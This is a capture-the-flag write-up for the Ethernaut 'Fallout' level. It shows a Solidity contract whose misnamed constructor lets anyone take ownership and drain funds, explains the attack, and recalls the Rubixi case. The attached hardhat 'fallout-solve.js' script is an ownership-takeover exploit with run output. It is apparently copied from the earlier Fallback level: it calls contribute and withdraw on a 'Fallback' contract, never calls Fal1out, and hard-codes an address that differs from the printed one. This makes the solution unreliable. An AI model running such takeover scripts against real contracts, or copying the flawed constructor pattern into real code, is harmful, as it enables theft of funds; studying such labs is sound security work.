Ethernaut #02 Fallout
Fallout
Challenge
Claim ownership of the contract below to complete this level.
Things that might help
- Solidity Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
Background
So I will be skipping the Remix IDE since I’m using hardhat.
Attack
Again solving this is pretty straight forward. The only difficulty is to realize that the function Fal1out
that has a comment about being the constructor, is not actually the constructor, which means its functionality can be invoked again, and thus take ownership of the contract.
- call
Fal1out
to become the owner - call
collectAllocations
collect any funds
fallout-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
// get contract
fallbackAddress = "0x253Acf9cFeB752D9A1ce78b808b292E4D91C2c46";
contract = await ethers.getContractAt("Fallback", fallbackAddress);
// get account
const accounts = await hre.ethers.getSigners();
account = accounts[0];
// initial state
console.log("Level address : " + contract.address)
console.log("Contract Owner : " + await contract.owner())
console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
// make small contribution
tx = await contract.connect(account).contribute({ value: ethers.utils.parseEther("0.001") - 1 })
receipt = await tx.wait()
// call fallback function and become owner
tx = await account.sendTransaction({
to: contract.address,
data: "0x",
value: ethers.utils.parseEther("0.001")
});
receipt = await tx.wait()
// withdraw contract funds
tx = await contract.connect(account).withdraw()
receipt = await tx.wait()
// final state
console.log("Contract Owner : " + await contract.owner())
console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/fallout-solve.js --network rinkeby
Level address : 0x96d93dde51Ed1aCeEDf9E8EEE72b4b85390Bca84
Contract Owner : 0x0000000000000000000000000000000000000000
Contract Balance: 0
Contract Owner : 0x11bAe9eA1851939a485f1F00b7B0Eec099e9276d
Contract Balance: 0
Success Message
That was silly wasn’t it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?
Well… Not quite.
The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from ‘Dynamic Pyramid’ to ‘Rubixi’ but somehow they didn’t rename the constructor method of its contract:
contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...
This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.